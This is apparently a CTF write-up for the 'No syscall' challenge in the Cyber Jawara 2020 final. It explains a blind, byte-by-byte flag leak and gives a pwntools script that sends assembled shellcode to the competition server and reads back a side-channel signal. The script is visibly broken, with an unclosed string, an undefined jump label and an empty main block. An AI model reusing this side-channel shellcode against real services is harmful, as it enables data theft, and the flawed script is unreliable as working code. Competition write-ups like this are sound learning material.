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Cyber Jawara 2020 Final

Writeup Cyber Jawara 2020 Final

Cyber Jawara is the first CTF in Indonesia and this is the 9th cyber jawara series, cyber jawara is supported by a lot of cybersecurity companies and the government my team glut0r is qualified to compete in the final this year. after competing with a lot of CTF team in Indonesia. the final section is held at hotel Padma Bali, but due to the outbreak, the final section is running online.

No syscall



in this challenge we weren’t given any binary, so we have to leak the flag from the service. to solve this challenge we can brute the flag each byte, during my blackbox test, i found rsp+16 can help us to give a signal so we can use rsp+16 to inform as if we input the correct byte.


# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'

def main():
    tmp = ''
    pos = 0
    while True:
        for i in range(0xff):
            r = remote('1337.cyber.jawara.systems', 2001)
            flag = int(r.recv(15).replace('\n', ''), 16)
            guess = i
            log.info('flag address: ' + hex(flag))
            log.info('flag: ' + tmp)
            back_to_main = '''
					mov r8, [rsp-16]
					call r8
            print_msg = '''
					mov r15, [rsp-16]
					mov al, byte ptr [{}]
					cmp al, {}
					je go
					mov rdx, [rsp+3]
					call rdx
					call r15
			'''.format(flag + pos, guess)
            sh = asm(print_msg)
            r.sendlineafter(':', sh)
            k = r.recvline()
            log.info('res: ' + k)
            if 'flag' in k:
                tmp += chr(i)
                pos += 1
            if '}' in tmp:
                print tmp

            # r.interactive()


if __name__ == '__main__':

FLAG: CJ2020{~51d3#ch4NnEl~}